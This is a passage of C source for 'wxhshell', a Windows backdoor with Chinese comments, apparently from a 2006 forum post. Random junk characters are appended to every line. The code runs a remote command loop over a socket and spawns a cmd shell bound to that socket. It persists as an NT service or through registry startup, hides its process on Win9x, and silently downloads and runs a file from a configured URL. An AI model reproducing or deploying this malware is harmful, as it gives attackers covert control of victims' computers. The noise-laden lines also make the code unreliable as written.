      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6UG7lH!M  
    break; 7MZBU~,r  
  } [DC8X P5 <  
  // 安装 ?V4?r2$c  
  case 'i': { DFQp<Eq]7  
    if(Install()) |yx]TD{~P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<f_Eo z-a  
    else t4/d1qW0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A7 qyv0F  
    break; ']WS@MbJ  
    } u K6R+a  
  // 卸载 MxD,xpf  
  case 'r': { @Z&El:]3>  
    if(Uninstall()) 7;jwKA;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kp'_lKW)]q  
    else lRF04  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]wMd!.lm-  
    break; ) gYsg  
    } 0D+[W5TB  
  // 显示 wxhshell 所在路径 F"1)y>2k  
  case 'p': { P%A;EF~ v  
    char svExeFile[MAX_PATH]; 7#SXqyP[  
    strcpy(svExeFile,"\n\r"); @@"}i7  
      strcat(svExeFile,ExeFile); >\ y|}|?  
        send(wsh,svExeFile,strlen(svExeFile),0); +3dWnBg?  
    break; qT$;ZV #  
    } Aw~ =U!  
  // 重启 HQw98/-_W  
  case 'b': { brx 7hI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zc01\M  
    if(Boot(REBOOT)) J]yUjnQ[h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dl mF?N|EC  
    else { ~[l6;bn  
    closesocket(wsh); fb3(9  
    ExitThread(0); 4{=zO(>  
    } l\xcR]O  
    break; hO w  
    } S.pL^Ru  
  // 关机 Q1yMI8  
  case 'd': { AE?MEag  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2#1"(m{  
    if(Boot(SHUTDOWN)) Ri=:=oF(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8yij=T*  
    else { o@*eC L=  
    closesocket(wsh); @/FE!6 |O  
    ExitThread(0); y.(Yh1  
    } iZ}Afj  
    break; cH%qoHgx  
    } rp^= vfW  
  // 获取shell ~~>`WA\G5,  
  case 's': { : 8dQ8p;  
    CmdShell(wsh); %Hx8%G!  
    closesocket(wsh); +z}O*,M"q  
    ExitThread(0); s.7\?(Lg  
    break; v EppkS U1  
  } -< D7  
  // 退出 yw2Mr+9I  
  case 'x': { $c"byQ[3S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9'nM$ a  
    CloseIt(wsh); N3dS%F,_  
    break; TgMa! Vz  
    } g@0<`g  
  // 离开 HY-7{irR~  
  case 'q': { $cjwY$6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H@Yj  
    closesocket(wsh); @`R#t3)8JP  
    WSACleanup(); [rk*4b^s  
    exit(1); 8_ byS<b8  
    break; p+M#hF5o  
        } e.-+zkQ8EI  
  } cj K\(b3  
  } [PG#5.jwQ  
zwJB.4@  
  // 提示信息 ]nPfIBoS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :{sy2g/+  
} c=d` DJ  
  } $d0xJxM  
WXHvUiFf  
  return; LX f r  
} }_Y&kaM  
~5`p/.L)ZD  
// shell模块句柄 vge4&H3a&  
int CmdShell(SOCKET sock) 2L!s'^m-  
{ Ao?y2 [sE  
STARTUPINFO si; QFekj@  
ZeroMemory(&si,sizeof(si)); XBx&&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  -c%#Hd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,~8&0p  
PROCESS_INFORMATION ProcessInfo; 03N|@Tu  
char cmdline[]="cmd"; C_> WU   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m q#8 [D  
  return 0; E~}@56ER}  
} +"J2k9E  
@M( hyS&on  
// 自身启动模式 s Zn@ye^  
int StartFromService(void) N"/J1   
{ Pgug!![  
typedef struct `U4e]Qh/+  
{ {7d(B1[1  
  DWORD ExitStatus; <S[]VXy  
  DWORD PebBaseAddress; BjX*Gm6l  
  DWORD AffinityMask; ,4W~CkLD  
  DWORD BasePriority; %u=b_4K"j  
  ULONG UniqueProcessId; kPRG^Ox8e  
  ULONG InheritedFromUniqueProcessId; 6&oaxAp<s  
}   PROCESS_BASIC_INFORMATION; <Wr n/%tL  
I{nrOb1G(  
PROCNTQSIP NtQueryInformationProcess; q,;8Ka )  
S?Y%}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oS>VN<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !LI 8Xk  
DP@F-Q4  
  HANDLE             hProcess; jJ.isr|`  
  PROCESS_BASIC_INFORMATION pbi; ATRB9  
wWYo\WH'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gh9Gc1tKt  
  if(NULL == hInst ) return 0; Pzt 5'O@dA  
\9t/*%:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); idzc4jR6BT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  " fXs!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pk ?M~{S  
4H9mKR  
  if (!NtQueryInformationProcess) return 0; i<\WRzVT  
#'y4UN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dpb prT7_  
  if(!hProcess) return 0; aHR+4m~)  
y.>1r7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z\[6 'R4.#  
 E\5Cf2Ox  
  CloseHandle(hProcess); )# os!Ns_A  
tl6x@%\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x@*RF:\}  
if(hProcess==NULL) return 0; ;9MIapfUd(  
tD^$}u6  
HMODULE hMod; ,DL%oQR  
char procName[255]; Cl>|*h+m  
unsigned long cbNeeded; zp'Vn7  
Cfr2 ~w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F:~k4uTW\b  
b?U2g?lN:  
  CloseHandle(hProcess); [iXkv\  
61SbBJ6[  
if(strstr(procName,"services")) return 1; // 以服务启动 ~J:qG9|]}  
`G'Z,P-a  
  return 0; // 注册表启动 A)9F_;BY  
} `g+Kv&546  
rtxG-a56Q  
// 主模块 \yhj{QS.k  
int StartWxhshell(LPSTR lpCmdLine) 1xTNrLW  
{ FZBdQhYF  
  SOCKET wsl; % `\}#  
BOOL val=TRUE; pqF!1  
  int port=0; P=<>H9p:o  
  struct sockaddr_in door; c BcZ@e;  
STjk<DP(  
  if(wscfg.ws_autoins) Install(); yedEI[_4  
dKpUw9C#/  
port=atoi(lpCmdLine); xLShMv}  
+\x}1bNS%j  
if(port<=0) port=wscfg.ws_port; $y_P14  
2{|mL`$04<  
  WSADATA data; C2;Hugm4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y3.^a5o  
jdf3XTw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3D-VePM=`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &gdhq~4#  
  door.sin_family = AF_INET; 7Z< 2`&c7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GZ1c~uAu  
  door.sin_port = htons(port); &{e:6t  
PfN[)s4F{R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ':d9FzGKa  
closesocket(wsl); D KRF#*[=d  
return 1; (zml704dI)  
} AA XQ+!  
WRqpQEY  
  if(listen(wsl,2) == INVALID_SOCKET) { N{&Hq4^c  
closesocket(wsl); m)ENj6A>yP  
return 1; +JejnG0  
} Ake$M^Bz  
  Wxhshell(wsl); Yln[ZmK9g  
  WSACleanup(); !NO)|N>  
aZ'(ar :  
return 0; |hD)=sCj  
g[L}puN  
} P$v9  
y=&^=Z h[  
// 以NT服务方式启动 LI9 Uc\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @(CJT-Ak  
{ E$C0\O!7  
DWORD   status = 0; r7+Ytr  
  DWORD   specificError = 0xfffffff; G%MdZg&i  
Z8I0v$LjR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =rN_8&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9Pql\]9"o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6KE?@3;Om  
  serviceStatus.dwWin32ExitCode     = 0; U>hpYqf_  
  serviceStatus.dwServiceSpecificExitCode = 0; UO( ?EELm  
  serviceStatus.dwCheckPoint       = 0; SnVb D<  
  serviceStatus.dwWaitHint       = 0; 2*@@Bw.XA  
5H2Ugk3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ],F@.pg  
  if (hServiceStatusHandle==0) return; ,zOv-pH  
S0WKEv@Hn  
status = GetLastError(); avb'dx*q>  
  if (status!=NO_ERROR) =sUrSVUeU  
{ c7@[RG !  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y' O3RA5E  
    serviceStatus.dwCheckPoint       = 0; B8 r#o=q1  
    serviceStatus.dwWaitHint       = 0; WelB"L  
    serviceStatus.dwWin32ExitCode     = status; `zOn(6B;U  
    serviceStatus.dwServiceSpecificExitCode = specificError; :Izdj*HL;A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GhR%fxe  
    return; AP9>_0=  
  } 1T 8|>2m 3  
"?>hQM1R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'MQJt2QU9{  
  serviceStatus.dwCheckPoint       = 0; /Jc54d  
  serviceStatus.dwWaitHint       = 0; )@_5}8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vw*,_f  
} -r%k)4_  
h3Y|0-D  
// 处理NT服务事件,比如:启动、停止 {ewo-dva  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \t ^9UN  
{ jJ3dZ<#  
switch(fdwControl) 4Un%p7Y~  
{ ;3&HZq6Z (  
case SERVICE_CONTROL_STOP: Gj&`+!\  
  serviceStatus.dwWin32ExitCode = 0; S\0?~l"}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :+Tvq,/"  
  serviceStatus.dwCheckPoint   = 0; Xz!O}M{4  
  serviceStatus.dwWaitHint     = 0; C zxF  
  { {YIf rM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2h#_n'DV  
  } 5GwzG<.\^_  
  return; &+")~2 +  
case SERVICE_CONTROL_PAUSE: H'?dsc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Q=xIS  
  break; ^oDSU7j5,  
case SERVICE_CONTROL_CONTINUE: UF;iw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zXGi  
  break; k3UKGP1  
case SERVICE_CONTROL_INTERROGATE: zh Vkn]z~*  
  break; Qsg([K  
}; =2/[n8pSsM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .9!?vz]1  
} S?u@3PyJm  
cIg+^Tl  
// 标准应用程序主函数 qsHjqK@(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :xZ^Jq91  
{ Rv|X\Wm  
[4b_`L  
// 获取操作系统版本 ~ekV*,R"  
OsIsNt=GetOsVer(); e VRjU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jj7he(!_1  
Rz"gPU4;`  
  // 从命令行安装 .Lp\Jyegs  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pk^W+M_)~  
+&.wc;mi  
  // 下载执行文件 RP%7M8V){B  
if(wscfg.ws_downexe) { THmmf_w@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )<vuv9=k\%  
  WinExec(wscfg.ws_filenam,SW_HIDE); hIFfvUl  
} 94xWMX2  
]SG(YrF  
if(!OsIsNt) { 3?s1Yw>?  
// 如果时win9x,隐藏进程并且设置为注册表启动 WoWmmZ  
HideProc(); &5Huv?^a'  
StartWxhshell(lpCmdLine); t{Z:N']H  
} F1NYpCR  
else S\ ) ~9?  
  if(StartFromService()) "U*6?]f  
  // 以服务方式启动 lH"4"r  
  StartServiceCtrlDispatcher(DispatchTable); V]P%@<C  
else VP_S[+Zv~  
  // 普通方式启动 qx`)M3Mu|<  
  StartWxhshell(lpCmdLine); f~{4hVA  
AZfW  
return 0; M{O8iq[  
}
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只看该作者 1 发表于: 2006-10-10
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